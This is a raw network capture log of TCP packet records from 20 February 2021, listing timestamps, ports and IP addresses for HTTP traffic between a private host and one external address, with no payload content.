Feb 20, 2021 09:48:08.743365049 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743376017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743396044 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743403912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743408918 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743417978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743442059 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743443012 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743449926 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743464947 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743484974 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743485928 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743494034 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743508101 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743529081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743529081 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743536949 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743547916 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743568897 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743571043 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743581057 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743587971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743612051 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743613958 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743628979 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743635893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743658066 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743659973 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743666887 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743679047 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743699074 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743702888 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743710041 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743719101 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743738890 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743741989 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743750095 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743760109 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743783951 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743792057 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743798971 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743805885 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743827105 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743832111 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.743849039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743869066 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743889093 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743908882 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743928909 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743952990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743973970 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.743993044 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744014025 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744034052 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744054079 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744072914 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744092941 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744117022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744127989 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.744138956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744163990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744189024 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744218111 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744237900 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744261980 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744282961 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744303942 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744323969 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744344950 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744364023 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744385004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744404078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744427919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744450092 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744472027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744492054 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744512081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744529963 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744549990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744570017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744595051 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744617939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744637012 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744657993 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744678020 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744697094 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744715929 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744735956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744760036 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744781971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744802952 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744822025 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744837999 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.744842052 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744857073 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.744859934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.744862080 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.744863987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744865894 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.744877100 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.744885921 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744890928 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.744900942 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.744908094 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744916916 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.744923115 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.744932890 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.744934082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744944096 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.744956970 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.744956970 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744966030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.744977951 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.744980097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.744988918 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.744998932 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745002031 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745011091 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745022058 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745026112 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745031118 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745042086 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745047092 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745052099 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745062113 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745068073 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745075941 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745084047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745089054 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745098114 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745110989 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745115995 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745115995 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745126009 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745141983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745161057 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745181084 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745201111 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745220900 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745240927 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745260954 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745281935 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745285034 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745290041 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745300055 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745306969 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745310068 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745318890 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745327950 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745330095 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745340109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745347977 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745349884 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745357037 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745368004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745369911 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745378971 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745403051 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745404959 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745412111 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745419979 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745424032 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745431900 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745443106 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745445013 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745451927 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745462894 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745465994 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745474100 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745486021 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745490074 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745495081 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745507002 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745512009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745521069 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745527983 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745532990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745539904 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745551109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745554924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745563030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745570898 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745575905 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745584965 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745593071 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745598078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745605946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745620012 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745624065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745640039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745650053 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745666027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745671034 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745675087 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745690107 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745691061 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745693922 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745711088 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745721102 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745732069 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745753050 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745770931 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745774984 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745790005 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745790958 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745795012 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745798111 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745800018 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745810986 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745812893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745815992 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745830059 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745837927 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745846987 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745851040 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745860100 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745867968 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745872974 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745879889 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745892048 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745894909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745901108 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745909929 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745913982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745920897 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745923996 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745927095 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745942116 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745944977 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745948076 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745961905 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.745963097 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745968103 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.745981932 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.746007919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.746012926 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.746028900 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.746030092 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.746032000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.746046066 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.746048927 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.746048927 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.746052980 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.746056080 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.746068954 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.746071100 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.746088982 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.746109009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.746119976 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.746124983 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.746128082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.746129036 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.746131897 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.746133089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.746148109 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.746155024 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.746170998 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.746180058 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.746184111 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.746186018 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.746201038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.746227026 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.746265888 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.746268988 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.746270895 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.763518095 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.782613993 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.782665014 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.782696009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.782721996 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.782748938 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.782777071 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.782785892 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.782812119 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.782814980 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.782818079 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.782819986 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.782820940 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.782859087 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.782893896 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.782938004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.782978058 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.783013105 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.783046007 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.783051968 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.783088923 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.783123970 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.783139944 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.783154011 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.783159971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.783195972 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.783198118 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.783235073 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.783246040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.783286095 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.783288002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.783324957 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.783328056 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.783360958 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.783360958 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.783397913 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.783399105 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.783433914 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.783436060 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.783472061 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.783473969 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.783509016 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.783521891 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.783548117 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.783555031 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.783595085 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.783597946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.783632040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.783636093 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.783668995 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.783672094 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.783706903 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.783710957 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.783742905 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.783746958 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.783780098 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.783782005 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.783816099 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.783822060 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.783854961 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.783862114 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.783900976 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.783902884 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.783938885 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.783941031 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.783974886 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.783978939 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.784012079 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.784013987 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.784049034 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.784054041 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.784084082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.784085989 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.784121037 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.784126043 CET	49165	80	192.168.2.22	185.81.0.78
